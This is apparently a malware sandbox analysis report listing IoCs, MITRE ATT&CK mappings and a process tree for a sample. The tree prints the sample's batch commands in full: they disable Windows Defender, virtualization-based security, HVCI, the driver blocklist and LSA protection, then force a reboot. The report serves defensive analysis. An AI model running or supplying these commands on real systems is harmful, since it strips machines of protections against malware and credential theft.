fc00538ea28fac2fc0f2ca62de40b18f2d102b9778fa0dbbf86420e5a00a5e6f

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5784	bcdedit.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

pid	Process
652	powershell.exe

Modify Registry: Disable Windows Driver Blocklist 2 TTPs 1 IoCs

Disable Windows Driver Blocklist via Registry.

defense_evasion

Modify Registry

persistence credential_access

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	reg.exe

Boot or Logon Autostart Execution: LSASS Driver 2 TTPs 1 IoCs

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems.

LSASS Driver

T1547.008

LSASS Memory

T1003.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	reg.exe

Executes dropped EXE 3 IoCs

pid	Process
3852	dismhost.exe
4516	dismhost.exe
5312	dismhost.exe

Loads dropped DLL 64 IoCs

pid	Process
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
3852	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
4516	dismhost.exe
5312	dismhost.exe
5312	dismhost.exe
5312	dismhost.exe
5312	dismhost.exe
5312	dismhost.exe
5312	dismhost.exe
5312	dismhost.exe
5312	dismhost.exe
5312	dismhost.exe
5312	dismhost.exe
5312	dismhost.exe
5312	dismhost.exe
5312	dismhost.exe
5312	dismhost.exe
5312	dismhost.exe
5312	dismhost.exe
5312	dismhost.exe
5312	dismhost.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
652	powershell.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DISM\dism.log	dismhost.exe
File opened for modification	C:\Windows\Logs\DISM\dism.log	Dism.exe
File opened for modification	C:\Windows\Logs\DISM\dism.log	dismhost.exe
File opened for modification	C:\Windows\Logs\DISM\dism.log	Dism.exe
File opened for modification	C:\Windows\Logs\DISM\dism.log	dismhost.exe
File opened for modification	C:\Windows\Logs\DISM\dism.log	Dism.exe

Access Token Manipulation: Create Process with Token 1 TTPs 2 IoCs

defense_evasion privilege_escalation

Create Process with Token

T1134.002

pid	Process
5064	reg.exe
5840	reg.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "110"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
652	powershell.exe
652	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeBackupPrivilege	4956	Dism.exe
Token: SeRestorePrivilege	4956	Dism.exe
Token: SeBackupPrivilege	4588	Dism.exe
Token: SeRestorePrivilege	4588	Dism.exe
Token: SeBackupPrivilege	496	Dism.exe
Token: SeRestorePrivilege	496	Dism.exe
Token: SeDebugPrivilege	652	powershell.exe
Token: SeShutdownPrivilege	5512	shutdown.exe
Token: SeRemoteShutdownPrivilege	5512	shutdown.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
576	PickerHost.exe
1788	LogonUI.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 5004 wrote to memory of 6092	5004	2026-06-04_9d8d15e739ee70bc6f1688e00ac07dd1_amadey_icedid_luca-stealer_njrat_smoke-loader_stealc.exe	81
PID 6092 wrote to memory of 5784	6092	cmd.exe	83
PID 6092 wrote to memory of 4956	6092	cmd.exe	84
PID 4956 wrote to memory of 3852	4956	Dism.exe	85
PID 6092 wrote to memory of 4588	6092	cmd.exe	86
PID 4588 wrote to memory of 4516	4588	Dism.exe	87
PID 6092 wrote to memory of 496	6092	cmd.exe	88
PID 496 wrote to memory of 5312	496	Dism.exe	89
PID 6092 wrote to memory of 4664	6092	cmd.exe	90
PID 6092 wrote to memory of 4528	6092	cmd.exe	91
PID 6092 wrote to memory of 3544	6092	cmd.exe	92
PID 6092 wrote to memory of 2652	6092	cmd.exe	93
PID 6092 wrote to memory of 5780	6092	cmd.exe	94
PID 6092 wrote to memory of 5048	6092	cmd.exe	95
PID 6092 wrote to memory of 5068	6092	cmd.exe	96
PID 6092 wrote to memory of 5840	6092	cmd.exe	97
PID 6092 wrote to memory of 5064	6092	cmd.exe	98
PID 6092 wrote to memory of 4056	6092	cmd.exe	99
PID 6092 wrote to memory of 4160	6092	cmd.exe	100
PID 6092 wrote to memory of 360	6092	cmd.exe	101
PID 6092 wrote to memory of 5708	6092	cmd.exe	102
PID 6092 wrote to memory of 652	6092	cmd.exe	103
PID 6092 wrote to memory of 5512	6092	cmd.exe	104

C:\Users\Admin\AppData\Local\Temp\2026-06-04_9d8d15e739ee70bc6f1688e00ac07dd1_amadey_icedid_luca-stealer_njrat_smoke-loader_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-04_9d8d15e739ee70bc6f1688e00ac07dd1_amadey_icedid_luca-stealer_njrat_smoke-loader_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5004
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c "C:\Users\Admin\AppData\Local\Temp\arsoftware_harden.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6092
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set hypervisorlaunchtype off
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5784
- - C:\Windows\system32\Dism.exe
    dism /online /disable-feature /featurename:Microsoft-Hyper-V-All /norestart
    3⤵
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4956
  - - C:\Users\Admin\AppData\Local\Temp\696228CA-0F41-453C-BAA5-2CA5EA746D3C\dismhost.exe
      C:\Users\Admin\AppData\Local\Temp\696228CA-0F41-453C-BAA5-2CA5EA746D3C\dismhost.exe {16CD5FFA-C2DE-4095-BDB9-11D5457ADF91}
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Drops file in Windows directory
      PID:3852
- - C:\Windows\system32\Dism.exe
    dism /online /disable-feature /featurename:VirtualMachinePlatform /norestart
    3⤵
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4588
  - - C:\Users\Admin\AppData\Local\Temp\C79C89F6-0A76-4590-A1FA-D9AABE2C277D\dismhost.exe
      C:\Users\Admin\AppData\Local\Temp\C79C89F6-0A76-4590-A1FA-D9AABE2C277D\dismhost.exe {B12DA2F1-D7EB-44EB-B19D-B499CB579AAA}
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Drops file in Windows directory
      PID:4516
- - C:\Windows\system32\Dism.exe
    dism /online /disable-feature /featurename:HypervisorPlatform /norestart
    3⤵
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:496
  - - C:\Users\Admin\AppData\Local\Temp\576F31BB-ABB4-4B69-8226-CE3AEE32CE7A\dismhost.exe
      C:\Users\Admin\AppData\Local\Temp\576F31BB-ABB4-4B69-8226-CE3AEE32CE7A\dismhost.exe {FA8CAED8-AB97-41CF-BB4C-1A7C494966D9}
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Drops file in Windows directory
      PID:5312
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
    3⤵
    PID:4664
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
    3⤵
    PID:4528
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v Locked /t REG_DWORD /d 0 /f
    3⤵
    PID:3544
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    PID:2652
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Locked /t REG_DWORD /d 0 /f
    3⤵
    PID:5780
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\CI\Config" /v VulnerableDriverBlocklistEnable /t REG_DWORD /d 0 /f
    3⤵
    - Modify Registry: Disable Windows Driver Blocklist
    PID:5048
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v HVCIMATRequired /t REG_DWORD /d 0 /f
    3⤵
    PID:5068
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 0 /f
    3⤵
    - Boot or Logon Autostart Execution: LSASS Driver
    - Access Token Manipulation: Create Process with Token
    PID:5840
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPLBoot /t REG_DWORD /d 0 /f
    3⤵
    - Access Token Manipulation: Create Process with Token
    PID:5064
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:4056
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4160
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:360
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:5708
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableBlockAtFirstSeen $true"
    3⤵
    - Disables one or more Microsoft Defender components
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:652
- - C:\Windows\system32\shutdown.exe
    shutdown /r /t 10 /c "ArSoftware: aplicando configuracion de seguridad"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5512

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:576

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3a2e055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:1788

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

LSASS Driver

T1547.008

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Boot or Logon Autostart Execution

T1547

LSASS Driver

T1547.008

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry